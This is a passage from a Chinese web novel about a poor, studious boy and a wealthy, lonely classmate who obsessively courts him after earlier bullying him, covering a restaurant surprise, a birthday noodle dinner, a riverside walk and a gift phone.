他真是傻的！他竟然忘的一干二净！竟然根本没把这些放在心上！
或许不是忘了，是他根本意识不到那些短信背后的寓意究竟代表了什么。
只单纯以为是郑源恐吓他的恶作剧。
“……放开我。”李华使劲挣脱，郑源松开他，跟着他站起身。李华防备地后退好几步，转身跑了。郑源笑了，眼底还是有化不开的墨，看起来有些忧愁，但心情好的多。
“果然还是想干什么就干什么让人心情愉悦。”他由衷地发出感慨，看着李华迅速离开的背影，小声说。
“晚安，宝宝。”
32. 33
李华做了一个梦。梦见郑源变成了一只巨大的蜘蛛，长了好多的腿在他身后追他，很快把他缠到自己的蛛网里，动都不能动，无论他怎么奋力挣扎，那毛茸茸的，带刺的腿都划过他的脸，逐渐向下，梦里还是郑源那双眼，却一瞬间变成了八个，排成一排直勾勾地盯着他，张开的口器里伸出尖细锋利的刺针，要扎进他的脑子里吸食他的脑髓，注射神经毒素，让他麻木，痛苦，绝望，又崩溃——“啊——”
他猛然惊醒，大口喘息。这一声尖叫喊醒了同宿舍的其他几个舍友。他们都朦朦胧胧地回应了一声，翻个身继续睡，其中还有人下意识问他，嘟囔着：“李华你怎……”后面的话还没说完就睡了过去。
这反而让李华有了落到实处的心安，他捂着自己的心口镇定下来，揉了把脸，重新躺了下来。
他睡不着了。
梦里的禁锢感太清晰了，就像真实发生的，也确实是真实发生的，郑源就是以那种让他丝毫无法挣扎的强势将他抱在了怀里，不止一次。
他从未和人有这么亲近的时候，哪怕是父母，也只是抱一下就匆匆分开。而郑源，他显然不满足，他要摁着李华的头，腰，使劲压向自己，又或者说他只是单纯的抱的太用力，让李华的骨头都在他怀里错动，仿佛被他握在手里。
李华又将自己蜷成一团了，他皱着眉，是一个很不安的姿势。
郑源身上很香，正在长身体的少年力度不大，但也不容小觑，与其说是占有的拥抱，更不如说是激动到乱了阵脚，下手就没了轻重。因为每次李华都是贴近他胸膛的位置，能清楚地听到他的心跳，怦，怦怦，撞的很响。
如果他有郑源的见识或许会在深夜中摸索着手机搜索，关于自己疑惑的，不理解的，纳闷的，想不通的，但他没有，他只是这么静静的躺着，睡不着，也不想浪费时间，静下心不去想其他乱七八糟的，背了一遍语文课文和英语课文，又过了遍数学公式。
他不知道该怎么做，又能改变些什么，没人教他，他不会，老实的性子也不会圆滑和投机取巧，只会被动的接受，一根筋的认准学习，至于其他的，逆来顺受罢了。
第二天李华起的很早，他看着衣冠镜给自己加油打气，暗自说了些大道理来激励自己。
好在的是郑源并没有再骚扰他，只是看着他的目光中多了一丝从前从未有过的复杂，他不知道为什么，也不去想，自巍然不动地钻心写题，颇有两耳不闻窗外事的意思，仿佛之前的一切从未发生过。
郑源发现了，无论自己对他做什么，好的坏的，都影响不了他，他的韧劲以及承受能力真像脚边不值钱的杂草，拔了又长，烧了又来，只要逢春，就除不干净，非常顽强。
此时的郑源只觉得他真可恨，甚至觉得他冷漠，也就是白眼狼，却不知道就是这股泰山崩于面前而色不改的从容和面对困难挫折打不倒的小强精神吸引了他。才会让他一次又一次舔着脸凑上去，想让他多看自己一眼。
他一直在背后默默地注视着李华，直到放学铃打响，才惊觉时间过的飞快。今天是周五，提前放学。同学们记下作业，兴奋地叽叽喳喳拽着书包窜出教室，李华也站起身准备离开，郑源拦着他，李华却在他走近时下意识后退了一步，也没抬头看他，让郑源一顿，沉默了两秒才说：“可以去我家写作业吗？”
李华说：“不去。”
郑源努了下嘴：“去吧，好吗？”
“不去。”李华终于抬眼看他，没什么表情：“我要回家。”
郑源不敢再问，点点头，看着他走了。
出了校园，李华才长出一口气。后知后觉反应过来自己刚才紧张，又害怕。
他像往常一样准备自己走回家，却突然听到有人喊自己的名字，他顺着声音看去，竟然看到舅舅的身影。这是他第一次来接自己，李华有些惊喜，不由自主笑了起来，快速朝舅舅跑去，舅舅伸出双手，还以为会被他撞个满怀，懂事儿的李华却在三步内止住了脚步，笑的很腼腆，但声音很愉悦：“舅舅！”
舅舅也笑，大手摸摸他的头，接过他的书包笑道：“在学校怎么样啊？”
“挺好的。”李华说，脚步轻盈地跟着舅舅走到车边。
舅舅有辆十万左右的车，平时上下班开，但为了省油费，除了上下班基本不开，今天却来接他。
校门口堵的不行，舅舅按了两三次喇叭。坐在副驾驶的李华拽着安全带，有些疑惑地看眼舅舅，舅舅不是一个脾气暴躁的人，不知道今天怎么了。这个时候，他才意识到舅舅身上穿的，好像还挺正式的。
察觉到他的目光，舅舅扭头看他，眉毛飞扬，笑着说：“舅舅带你见舅妈！”
“什……什么……？”李华目瞪口呆。
舅舅的事儿李华听爸妈提起过，一提就是唉声叹气的感慨和遗憾，论长相，舅舅虽不出众，但也不丑，浓眉大眼大鼻子厚嘴唇，论身高，虽然不是特别高，但穿鞋也能到快180cm，再是身材，中规中矩，不胖不瘦，虽看起来没什么大优点，但也没什么大缺点，扔到人堆里可能不太显眼，但也能算个中等，而不是下乘。遑论他虽是农村出身，但有责任心还上进，全靠自己一双手，拼出来房子和车子，没向家里张过口，跟他过，享不到大富大贵的日子，但平平安安的普通人生活肯定是有的，不至于穷困潦倒，负债累累，吃了这顿没下顿。
但是，他有一个致命的缺陷。
他不能生。
天生的□□萎缩，不孕不育。
要知道，在农村，在还有些续香火意思的农村，男人不能生，就是第一大原罪。李华始终记得那晚烛光摇曳，母亲愁云满面的脸：“男人不能生，还能叫男人么？男人不能生，还会有女人要么？连个孩子都留不下，绝后啊！”
男人天生长那根东西，就是老天爷给的使命，老天爷驳回了这项权利，就是放弃了你，你不会再得到老天的眷顾了。
望着李华呆若木鸡的模样，舅舅哈哈大笑。
通路了，李华听着舅舅哼的歌，心里一片茫然。
当初就是因为舅舅不能生，也一直没成家，又一个人在外地，李华恰好又争气，才动了把李华接到身边的心思。倒不是李华不为了舅舅开心，只是他怎么觉得，是这惊喜来的太快太突然，更像是惊吓了吗？
会有女人接受舅舅的缺陷吗？
像是知道他心中所想，舅舅主动向他分享道：“朋友介绍的，已经见过几次面了，相处的很好，这次就是带你见见，认认人，你先别跟家里说，到了合适的时机我会把人带回去，李华，你有舅妈了，开心吗？”
李华点头，看舅舅这么高的兴致，也义无反顾地相信他说的话，所有的担心和不解都抛到脑后：“开心！”
两个人紧赶慢赶来到了餐馆，是一家店面适中的中餐馆，已经坐了一半的人。舅舅提前订了位置，在包间，上楼的时候还用手搂了搂发型。李华也跟着拽了拽校服，整理整理衣服，虽然没什么用。
包
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间门推开，李华做好的心理准备就像气球，还是泄了点气，里面已经有两个人坐着了，一个是位中年妇女，画着浓妆，身材稍显臃肿，身上喷的很香，穿的也很花哨，另一个坐在她身边，二十出头的年轻人，身材肥胖，头发稍显油腻，眯眯眼，有种很不屑的神情。
李华感到窒息，他僵硬着身体，感觉屋子里有个巨大的气球，一直在膨胀，膨胀，就快爆炸。嘭，气球在他耳边无声的爆炸，短暂的真空后，他才落到了实处，听到了舅舅的声音，舅舅拉着他的胳膊，让他坐下，面色激动。
“这是你冯阿姨，这是你冯阿姨的儿子，冯宝，快问好。”
李华说：“冯阿姨好，冯哥哥好。”
“真听话。”冯春霞伸手捏李华的脸，露出的手腕带着一串镯子银饰，捏的不重但也不轻，松手时让他脸上留个红印子。
两个大人就这么聊了起来。李华捏着筷子，看到对面的冯宝一脸不耐烦的模样，见他看过来，眼神更是冷淡，等菜上来，他便毫不客气的大快朵颐，一盘排骨，几乎都进了他的肚子。还是舅舅分神给李华夹了一块儿，就那一块儿，也让冯宝瞪了李华一眼，李华咬着排骨哽了一下，还是嚼了嘴里的肉，不知道是不是郑源的私家小厨吃多了，这饭怎么吃着都难吃。
李华咬着筷子分神，侧兜的手机突然震动了一下。
他皱皱眉，拿出来看。
是一条短信，是他曾经拉黑过的人，不知道怎么又被放出来了。这手机经过郑源的手，不用猜也知道是谁干的。李华看着未读短信有一瞬间的退缩，他可记得郑源都发过什么，但是两个人立下了约定，他应该不会再那么对自己了吧？反正已经回家了，大不了他再拉黑他一遍好了，王玉代教他的他已经会了。
他点开短信，简短的一行。
-吃饭了吗？
李华放下筷子回。
-吃了。
那边也回。
-吃的什么？
李华看眼桌子上的菜品，简短地回。
-很多。
-这么丰盛？
-嗯。
-家里来客人了？
-没有，外面。
-跟谁一起？
-舅舅。
-在哪儿？
李华迟疑了片刻，还是老实地打了餐馆名字。
郑源回过来，说：
-没听过。
李华下意识嗯了一声。
-不好吃。
-那能吃饱吗？
李华再次迟疑，感受了一下。他没吃几口，但也不想再吃了。
-能吧。
郑源没再回。
过了会儿，他才回过来。
-小心烫。
李华疑惑地嗯了一声，就见有人敲包间门。
是服务员，示意李华出来一下。李华莫名，舅舅说：“怎么了？”
服务员说：“您的同学在隔壁等您。”
“同学？”李华下意识问，随即反应过来，瞪大眼，舅舅说：“这么巧，你哪个同学？”
“我出去一下。”李华说。
他跟着服务员去了隔壁包间，但是里面没人，只有一部手机，照着他从门口进来的方向。餐桌上摆满了他之前吃过的郑源牌小厨菜品。
手机里的郑源托着下巴，像是已经洗过澡了，头发湿湿的，看着李华震惊的模样，懒洋洋地笑了一下。
“不吃饱怎么能行啊，李华同学。”
33. 34
郑源看着李华吃饭。他埋头吃饭的状态堪比学习，不抬头，速度不快不慢，但是很专注，睫毛上下翻动，抽不出一丝空。郑源觉得他有种本领，就是做什么都很认真，像个小机器人。李华也的确饿。他用脑量大，脑细胞死的多，就消耗的快。因为是星期五，放学早，他中午就没吃。这已经是大家的常态，都为了回家吃顿好的，结果晚上又吃不到饭，几个小时过去，他早已饥肠辘辘。
郑源很满足。
李华放下筷子，打了个饱嗝，才有空看他，郑源哈哈大笑：“怎么吃撑了。”
李华脸红了一下，“不知道。”
太可爱了。郑源捧着下巴，眼巴巴地看着他，把他看的更不好意思。让李华生平第一次感到尴尬，说了人生中的第一个谎言：“不是……撑的，是，呛，呛着了……”
郑源说：“快喝水。”
李华的表情微变，快速地看他一眼，才说：“……喝不下了。”
那不还是撑的。郑源受不了的捶床，“你怎么这么可爱。”
他毫不吝啬地夸赞，让李华愣了一下。可爱？这是什么词？还是第一次有人夸他可爱。往常那些夸赞都是懂事、听话、学习好、文静、清秀等等，可爱？是一种什么形容？
他想不明白，愣愣的，随即想到什么，迅速站起身：“我要走了。”
郑源还没看够，一听他要走，很不舍，“就这么就走了啊。”
“舅舅快吃完了。”他说。
“好吧。”郑源撇撇嘴，说：“这些你不用管，直接回去吧，拜拜。”
李华说：“拜拜。”
拧门把手时，他下意识回看，看到郑源还是那样，笑眯眯地看着他，真的很像两人第一次见面，他笑着看他不说话。
李华皱了下眉，莫名地开门走了。
另一包间里的舅舅恰好起身，见他回来，说：“正要去找你呢，你哪个同学在隔壁？我们去打个招呼。”
不知道为什么，面对新舅妈和她儿子，李华不太想说。他支支吾吾的，正好他们也吃完了，站起身要走，路过刚才待的包间，那里门大开，李华看到服务员在收拾残余，没有手机，也没有人，什么都没有。
“已经走了啊？”舅舅说，他喜上眉梢，脸红红的，“那我们也回家吧。”
李华坐在副驾驶，倒车镜里能看到坐在后座的新舅妈和表哥。他心情复杂，看起来有些不开心。
把新舅妈和表哥送回去，回家的路上，舅舅问他：“怎么啦？怎么拉着个脸？晚上吃饱没？感觉你舅妈怎么样？”
李华动动唇，没说话。舅舅看他一眼，笑笑，揉揉他的头：“适应就好了。”
回到家，李华瘫在床上，想和爸妈打电话，也的确打了，但是他想说舅舅找了个舅妈，但是想起舅舅的话，又忍住了。心不在焉地和爸妈聊了会儿就挂了。李华第一次坐起来，躺下，坐起来，躺下，反反复复，感到焦躁。
手机叮的一声。他不用想就知道是郑源。
-到家了吗？
-嗯。
-没被舅舅发现吧？
-没。
-明天真不能来我家写作业吗？
-嗯。
-后天呢？
-不。
-？
郑源很纳闷：
-你心情不好吗？
-嗯。
-怎么了？
李华没回。
难道是受批评了？郑源捧着手机思来想去，干脆打电话过去。李华接了。声音闷闷的。郑源说：“你怎么了？”
“没。”
“你这一个字一个字的蹦，爆米花也不是你这炸法啊，跟我说说呗。”
“不。”
郑源沉默了两秒，“跟你舅舅有关？”
“嗯。”
“他打你了？”
“没。”
“说你了？”
“没。”
郑源闭闭眼，耐心告罄，“李华，你跟我说说呗，吃饭的时候不是还好好的吗？”
这让李华怎么跟他说呢？李华说：“你别问了。”
听起来还有一丝委屈。
郑源啧了一声，灌自己喝了两口凉水，“要不然我现在去找你呢？反正我知道你家在哪儿。”
李华拒绝：“不要。”
“那你跟我说，不然我真去找你。”
李华说：“你别问了。”
郑源说：“你不说，我就去找你舅舅问。”
李华被他逼的没办法，“你好烦啊，你怎么这么烦人啊。”
郑源说：“你第一次知道我烦人吗？”
李华泄气，过了片刻才小声说：“我不喜欢舅妈。”
“你舅妈？”郑源在脑海里思索，上次去他家，没见有女人的痕迹啊，“你还有舅妈？”
“以前没有，现在有了。”
“我知道了，等于你舅舅今晚是带你去见你舅妈是吧。”
“嗯。”
“但是你不喜欢她。”
“嗯。”
“为什么不喜欢她？”
“不知道。”
李华不知道，他就是不喜欢，一种莫名的感觉。
“你不喜欢她很正常。”郑源说，“我也不喜欢我家里人，那些亲戚，每个都很虚伪。”
李华叹气。
郑源说：“你不要不开心了，你不喜欢她，就不让她出现在你面前了。”
李华说：“什么意思啊？”
“字面意思啊。”郑源想都不想：“把她赶到其他地方，再也不要回来，把她送进监狱，再也不要出来，把她——”
李华茫然打断他：“你在说什么啊。”
郑源说：“方法啊。”
李华说：“什么方法啊。”
郑源说：“把她撵走，再也不要出现在你面前的方法啊。”
李华说：“啥啊。”
他莫名其妙，“什么跟什么啊，不跟你说了。”
“别啊。”郑源恨不得从电话里窜过来，“你不喜欢就不说了，你再跟我聊聊嘛，我家就我自己，我好孤单。”
李华说：“聊什么啊？我要写作业了。”
郑源说：“你别写了，你回我家写吧，我家什么都有，求求你了。”
李华说：“求什么啊。”
郑源说：“求求你回我家写作业。”
李华：“……”
李华想了想，说：“好吧。”
去就去吧。他还请他吃饭了。
郑源开心了：“真的假的？真的吗？”
李华：“嗯。”
郑源很兴奋：“那我们明天去看电影吧？”
李华说：“不是写作业吗？”
郑源说：“写完再去嘛，你写作业多快啊。”
李华说：“写完我要回家。”
郑源说：“你家有你舅妈。”
李华：“？……”
郑源紧追不放：“你看过电影吗？没有吧，你跟我去看电影吧，晚上我们去吃牛排，或者你想不想坐轮船？吃完牛排我们去看江景，好吗？”
李华：“……好吧。”
第二天上午，就有人来接他了。是之前做过自我介绍的
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司机胡建国，他很慈祥地看着下楼的李华：“好久不见，李同学。”
他喊他李同学。李华笑起来：“胡叔叔好！”
笑容仿佛会传染，胡建国也笑起来：“好，上午好，吃饭了吗？”
“吃了。”李华坐到后头，车很快开起来，又稳又老练。胡建国说：“少爷跟我说了你们今天的行程，玩的开心呀！”
李华笑笑，背着书包下车。郑源还在喂甜甜。这大鳄龟之前被他忘了，饿的想从缸里爬出来吃人，缸都快让它撞碎，还好是防弹的，郑源听到门铃，瞬间将一盆肉扣到它头上，一溜烟地跑到门口。
手上还戴着白色的乳胶手套。
李华说：“我来写作业了。”
郑源连忙让他进屋。他边走边摘手套，洗了手，擦干净，从冰箱里抱出来一个非常漂亮的小蛋糕。李华皱眉看他走近，放到自己面前，把叉子递给自己，说：“我不过生日。”
郑源说：“我知道。”他有些不好意思地笑了一下，“我过。”
……
李华说：“今天是你的生日？”
郑源点点头，说：“生日快乐！”
李华：“……？”
李华：“不应该是我跟你说吗？”
郑源看着他，他说：“生日快乐。”
郑源一瞬间就感动了，他使劲点了两下头，把叉子塞进他手里，“快尝尝。”
李华努努嘴，神色复杂。虽然他们家比较穷，但是每次他生日，爸妈都会给他煮长寿面，一个荷包蛋，再买一个大鸡腿，虽然没有蛋糕，但是每年都很快乐。
他没想到这么有钱，什么都不缺的郑源会这么潦草、草率的自己过生日，而且好像身边没人知道，以及他自己突然就这么轻飘飘地说出来，简直跟他舅舅说他有舅妈一样，是第二个惊吓。
“怎么了？”郑源问：“不好吃吗？”
李华说：“蛋糕应该是寿星吃的。”
他把叉子递给郑源，郑源眨两下眼，挖了一点吃了，甜甜的，让人心情很好。他笑起来，开朗帅气，“谢谢。”
李华：“……？”
李华看了看空空如也的桌面：“你不吃长寿面吗？”
郑源摇头，“不吃。”
李华说：“你以前的生日怎么过的？”
“大家跟我过的。”郑源说：“很多人，开生日宴会，亲戚，朋友都会来，也有很多礼物，不过后来慢慢就忘了。”
就算了。
李华不知道说什么，抿唇坐着。郑源岔开话题说：“快吃吧。”
李华不太喜欢吃甜食，说不吃了。郑源便拎着他的书包去卧室写作业，他自己不写，就盯着李华写，李华不想被他看着，把他赶走，他就跑到床上刷手机，李华写作业时很安静，但也会传来笔尖在纸上摩擦的窸窣声音，听着很催眠，郑源听着听着就困了，一想到李华在他旁边，还给他过了生日，他就开心。
他昏昏沉沉的睡着了。
等他猛然惊醒，天都黑了。他瞬间弹射起来，看到书桌边空空如也，瞬间就怒了，又慌，没穿鞋就跑下床，听到厨房的声音，赶过去，正好撞见李华转身。他系着围裙，鬓角有汗，看起来忙活一阵了，手上捧着一碗面，挂面，青菜，西红柿，鸡蛋，长寿面。
郑源傻愣愣地看着他，李华说：“你睡醒了？我没找到鸡腿，你拿双筷子吃吧，你们的锅我不太会用，但是应该还行。”
郑源浑身发麻，李华端的费劲，将面放在桌子上，说：“来呀。”
郑源张张嘴，说不出话，仿佛失声。李华想，没有长寿面哪能叫过生日呢？
34. 35
李华做的面只放了鸡精和盐，他做的很少，用料很仔细，一大碗盛给郑源，自己就留小半碗，几缕面条，大部分是汤。郑源没有分给他，他喜欢吃这个面，这是李华给他做的面，如果不是李华没说不吃，他会把他碗里的也抢过来吞了。
是吞。这是一碗很寻常的长寿面，配料也很简单，并不出彩，但郑源觉得这是他吃过最好吃的面。他埋着头，显少的一句话都不说，安安静静地吃完，捧着将汤喝干净，就差舔碗边儿。让李华产生疑惑：“你吃饱了吗？”他问，他看起来像饕餮一样。
“吃饱了。”郑源说，抽了一下鼻子，郑重道：“谢谢你，李华。”
李华一顿，说不出那一瞬间的感觉，来源于郑源竟然也会对他说谢谢，也来源于他认为只是很普通的一碗面，却让郑源如此尊重。他说：“不客气。我也应该谢谢你，谢谢你昨天晚上请我吃饭。”
郑源笑起来，又很快不开心，很懊恼：“你怎么不喊我？还说带你看电影呢。”
李华莫名：“你不是睡不好吗？”他想他好不容易睡着了，能多睡会儿就睡会儿，没必要喊他，况且电影有什么好看的，他虽然没看过，但是也听过，不就跟电视一样的。况且无论今天是谁的生日，李华既然知道了，就会拿出给对方过生日的态度，就是郑源说的，他干什么都很认真。
郑源心里一甜，嘴角钩子似的压不下来：“你关心我。”
李华不知道他开心什么，关心，也算吧。
他放下筷子，也吃饱了，下意识收拾碗筷，被郑源制止，郑源拉着他的手仔细观察，手指细长又白嫩，指尖和掌心都红红的，软嫩的很，他关切地说：“你没伤到吧……你的手真软啊……还小……”
他忍不住发出感慨，那小手，握了跟没握似的。
李华瞬间脸红了，他不是不好意思，而是羞愧。“没有。”他拽回自己的手，走向沙发。
他虽然是农村的，但是父母宠爱他，他握过最重的东西也只有笔杆子，从没有下地干过活。按照爸妈的话说，那就是他们还年轻，用不着李华出力。遑论他那体弱的身体，还是老老实实待在家里，他们才安心。
郑源跟着他，“我们去看江景吧。”
李华说天黑了，要回家。
郑源说看一下吧，看一下吧，电影都没看，再不看个江景，他是寿星，他说的话最大。
李华犹豫、担忧。郑源看出来，拿出手机给他舅打电话，要获得批准，被李华制止，说那尽快回来吧。
晚上的风略凉，吹的李华很精神。他坐在车上，第一次大着胆子将车窗降下，闭着眼面对疾驰的夜风，在过隧道时，昏黄的灯光像柔软的海洋，他感受着风的流动，在他面前，鼻尖，眼皮，在他的心上，他睁开眼，波纹泛起涟漪，使他双眼明亮。
郑源痴痴地看着他。
“好漂亮。”
李华睁开眼，看到的就是郑源专注渴望的目光。让他下意识摸自己的脸，“我脸上有东西吗？”
“没有。”郑源说，嘴角翘起，没再说话。
车停稳，来到的是地上停车场，需要徒步走一段距离才能下去到江边。还能坐轮船观江景。晚上人不少，各种男女老少都游走于石板路上，他们说说笑笑，看着江景聊天散步，也有的吃着东西兴奋地指指点点，还有的则坐在一旁的木椅上休息乘凉。
就像以前的夏天一样。李华抬头看看夜晚，找到几颗稀疏的星星。郑源说：“我们去坐船吧。”
李华摇头，“就这样走走吧。”
郑源看着他，他说：“我怕水。”
他怕水。所以郑源将他摁进鱼缸里时，那种窒息的恐惧与绝望狠狠地席卷了他，让他差点没缓过来，连续几天休息不好地做噩梦。
“好。”郑源说。这次倒没强迫他。
两个人像其他人一样散步在这高楼林立的城市中央，郑源指着遥远的大厦说：“那里，是我爸以前工作的地方。”
李华顺着他手指的方向看去，是一栋非常宏伟的建筑，得有几十层楼那么高，白天像是要耸入云端，给人很强的压迫感，“你爸是做什么的？”
“开公司的。”他说，“那就是我爸建的，也是我爸的。”
李华的眼瞪大了，他知道郑源有钱，不知道他这么有钱，“真的啊？”
“当然，我骗你干什么。”郑源懒洋洋地，“我们家是最有钱的，不过我爸死后，他的一切都被我那群亲戚们瓜分了，我大伯和我二伯拿的最多。”
他当时太小了，掌握不了这么经济资源，只能拱手让人。
李华不知道说什么，干脆沉默。
“不过早晚有一天我会拿回来的。”郑源笑着说，“他们都以为我小，记不清了，其实我记的很清楚。我记得他们那副恶心的嘴脸，一个个早就心里不平衡了，我都记得。”
李华还是不知道说什么。但是他好像有点理解他孤独的原因了，“所以从你爸妈去世后，一直都是你一个人吗？”
“对啊。”郑源耸肩，稀疏平常，“他们找了保姆管我，一直到我上学，后来就连保姆都是我自己找的。他们都是大忙人，没工夫管我。”
李华沉默。郑源却因为开心，絮絮叨叨地：“第一个保姆还打我，掐我的大腿肉，疼死了，她说我是没人要的杂种，要一把火烧死我。但是在外人面前又不一样了，说我听话，懂事，一个劲儿地夸我。”
他长叹一声，“那时我都五六岁了，她以为我不会说呢，我当然要说，结果没一个人信，说我太调皮了，我爷爷奶奶，诶你知道我爷爷奶奶说什么吗？说我就是缺少管教，打也是应该的。他们年纪大了，管不住我，就该有个人来管我。”
“为什么啊？”李华不理解，甚至感到愤怒：“你爷爷奶奶为什么不相信你呢？”
“他们也不是不相信我，是太相信自己了，他们觉得开了那么高的工资保姆肯定不敢拿我怎么样，一定是我太顽皮了，一切都是我自找的。后来我拿刀捅她，把她捅住院了，她辞职了。我就开始自己找保姆了。”
郑源笑起来，“我自己找的保姆，全是只用做饭的，不需要呆在家里和我相处的，我怕她们再打我，她们也怕我再捅人，就特别相安无事。后来有次过年，我小叔找到我爷爷奶奶，说我不能再这样下去，我的一切就由他管了。”
小叔。李华眼前闪过什么。那个雨天站在走廊和自己对视的男人，是他小叔？
“你和你小叔关系好吗？”李华问。
“还行。”郑源说，“他也不怎么管我，我们就是和平相处，和平相处。”
李华点头。抬眼才发觉两人已经不知不觉走了很远。夜沉了，他有些冷，缩头缩脑的。体质不好的人都是身体里有寒气，他不怕热，就怕冷。他下意识拽拽郑源的衣角，说：“我们回去吧。”
郑源低头看他，脱下自己的外套披在他身上，李华刚
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想拒绝，就被他强制性半搂在怀里，身上染的都是他的味道，是他一闻就知道是郑源的香味，他走路有点被迫地同手同脚，“不用这样。”
“你不是冷吗。”郑源说，“这样暖和。”
“不是。”李华挣脱他，往前跑两步，“我走不动了，你太高也太沉了。”
郑源看着他往前走，又看看自己空空如也的臂膀，“我还以为这样浪漫呢……网上不都是这么说的吗？”
他搜怎么让对方喜欢上自己的时候，网上说这样能让对方感受到霸道地占有，对方会很很有安全感，进而提升好感啊。
他挠挠头跟上去，老实了，“你还没跟我说呢，你怎么会做饭？”
“有时候爸妈回来的晚，有时候我自己饿得早，就学会了。”有了外套的加持，李华暖和的多，他说：“你不要把那些人放在心上，虽然遇到很讨厌的人是会难受，但是他们都已经走远了，不会再来了。”
“嗯嗯。”郑源看着他的侧脸，抿抿唇，“那你呢？”
“什么？”
“你还讨厌我吗？”
郑源心如擂鼓地看着他，停下脚步，李华也停下，扭头看他，眼神闪过茫然。
“当然啊。”他说，“我还记得你打我的时候呢。”
“啊……”郑源挠头，“那你什么时候原谅我啊？”
“不知道。”李华摇头，“可能一辈子都不会原谅。”
“那不行。”郑源快步走到他跟前，“必须原谅。我以后会对你很好的。”
“不要。”李华拒绝，“你不用对我好，你也不能强制我原不原谅，原不原谅你是我的事。”
郑源炸毛：“那我对你好不好也是我的事！”
“是就是啊，我也没说不是啊。”李华莫名其妙，“你想对我好就对我好呗，你想打我的时候又不是没打过，干嘛说这个。”
“不是，哎呀。”郑源崩溃了，“我怎么跟你解释不清呢，你是榆木疙瘩吗？”
“我不是。”李华说：“这就开始骂我了，你对我一点也不好。”他骂回去，“你才是榆木疙瘩，你全家都是榆木疙瘩！”
郑源嘻嘻笑：“我全家就我自己。”
李华：“……”
李华转身走了，他算是发现了，人要脸树要皮，人不要脸天下无敌。他跟天下无敌的郑源没什么好说的。两人上了车，李华就把衣服还给了他。郑源恋恋不舍地把他送回家，抱着衣服，试图感受上面的体温，不想他走，拽着他的手，“你明天还能来找我吗？”
“不能。”
“可是今天没和你一起看电影我很遗憾。”郑源可怜巴巴地，“明天私教会来，你不来学英语吗？”
他诚恳地看着李华：“你来吧，求求你了。”
他又求他。虽然李华根本不知道这有什么好求的。但是听到私教课，他动心了。他想了想，说：“好吧。”
“你答应了？！”
“嗯。”
郑源开心了：“那明天还是这个时间来接你。”
李华嗯了一声，坐着没动。
郑源眼眸放大，“你，你不想走吗？”
李华看着他，“松手。”
郑源一顿，低头一看，自己拽着他的手，跟被拴着似的那么紧实。
他笑笑松开手，李华瞬间像鱼入海似的消失了。
郑源：“……”
跑的跟他妈飞一样的。
35. 36
郑源可以利用外教的机会把李华吸引过来，却没办法让他分出精力陪自己玩。李华上课时候的精神头跟红军抗日似的，一心只扑在知识上，就是天崩地裂也阻挡不了他前进的心。所以他很快俘获了外教老师的好评和好感。他竖着大拇指说：“你是一个非常认真的孩子。”
郑源认同。
一上午时间很快过去，中午是厨师来家里做的饭。郑源有自己的做饭阿姨，还有厨师，还有常点的饭店备选，源于他只吃一个人做的饭会感到厌烦。不仅如此他还有管家，只是这个管家不和他居住，因为郑源不喜欢家里有第二个人，尽管他孤独的要死，那他也只能接受和管家的电话联系，比如喊保洁来打扰卫生什么的，留他一把家里的钥匙。
再就是司机，单司机他也有两个，在用不到他们的时间，他们可以去做其他的，兼职又或者挣钱，他不干涉，有需要的话就提前说清楚，比如空出一个月时间给他，工资给多少等等。
伺候他的人有很多，但他格外喜欢伺候李华。这仿佛能让他找到一些被李华需要的感觉和价值。比如李华读的口干舌燥了，想起身倒杯水，还没起身，郑源比他闪的还快，再比如笔写着写着没水了，手边瞬间推来更多好用的黑水笔。
只要他抬眼，一定能看到郑源眨巴眨巴地双眼。仿佛下定决心一定要让李华尽快原谅自己，他殷勤的不像话。外教结束后，他让李华看他看到的有趣视频，还有搞怪的动物，李华靠近他，看他修长的指尖上下翻飞，跟着视频中的囧事儿笑出声。
他把预谋已久的手机再次拿了出来，在李华皱眉的瞬间先开口：“学期结束你再还给我。”他说：“你就收下吧，你那个手机太老了，都看不了视频，我看到好玩的还想分享给你呢，再说那个手机我看了，音量键不太好了，万一哪天又响怎么办？修的话要好多钱，你不如先放着，先用这个，反正也用不坏，一部手机对我而言也算不了什么，你用完再给我，好吗？”
他拿出最后的杀手锏，“你看，这个手机可以联网，你随时可以查找数学题，跟着学英语。”
他迅速用自己的手机翻出几个学习软件，直接震撼了李华的心灵。
好方便、快捷，甚至是好用。
比问老师、自己琢磨，快多了。
他抿了下唇，“这个手机，多少钱？”
“没多少钱。”郑源知道他动摇了，直接将手机拆开教他使用，“你只死学没用，得跟上时代的步伐，知识的海洋一望无际，你那么学跟大海捞针似的，得融会贯通，举一反三，再说，有很多本身就是课本上学不到的知识。”
他让李华拿出手机，把重要内容照搬了一下，帮他登陆好账号，以迅雷不及掩耳盗铃之势充了一千的话费、购买了□□，甚至直接将自己的银行卡绑上了他的付款软件，也帮他建了社交软件，并关闭了一切提醒。
李华看不懂，只知道他在弄着什么东西，偶尔还要自己看镜头做动作。弄完一切，郑源将手机递给他，哄他，“这手机做活动，上面反的有钱，你想买什么东西就在这儿扫，密码是你的学号。”
李华皱眉说：“我不花钱。”
“万一呢。”郑源说：“你花了多少跟我说，我这儿积分，到时候还能兑换礼物。”
“真的假的？”李华不可置信，“你骗我的吧？”
“没有。”郑源面不改色，“他主要是为了让你知道手机好用，这样你就会用他的手机，他就好卖手机。”
李华不信，坚定地很，“你肯定骗我。”
“我骗你干什么？”郑源一本正经，“骗你我会有什么好处吗？”
好像是噢。李华挠挠头，给他整迷茫了。他抿抿唇，过了好一会儿，才起身去翻书包，找到了什么又走过来，将叠的整整齐齐的抽奖卷递给郑源，“我本想拿奖助学金以后再看能不能用的。”
郑源看着那张全市家用电器打三折的抽奖卷，勾起了唇。他说：“对，就是这样，李华，你想要什么、想买什么，都跟我说，都会有的。”
有个词叫物欲。郑源很早就了解到了，在他还上私塾课的时候，老师讲精神层面、心里层面的东西时，提到了自我本我超我。人穷极一生，都在与欲望做抗争。没有人对这个世界一无所求，如果有，他只是还没有接触到这个世界的魅力，如果他接触到，他不会无动于衷，除非他真的做到了超我，一种至高无上的精神境界而让他无欲无求，无欲则刚。
但这样的人生，又有什么意思？
郑源很高兴李华能从神坛上下来，向他诉说最基本的索求。所以他一刻都没磨叽，直接带着他去购买了和他同等级别的水箱，安排送货师傅务必将东西送到李华的家乡，并安排人跟着师傅一起，一定要教会李华的父母了解，使用。
在李华看不到的地方，郑源对他说：“你就说是他抽奖抽到的，其他的一个字都别说。”
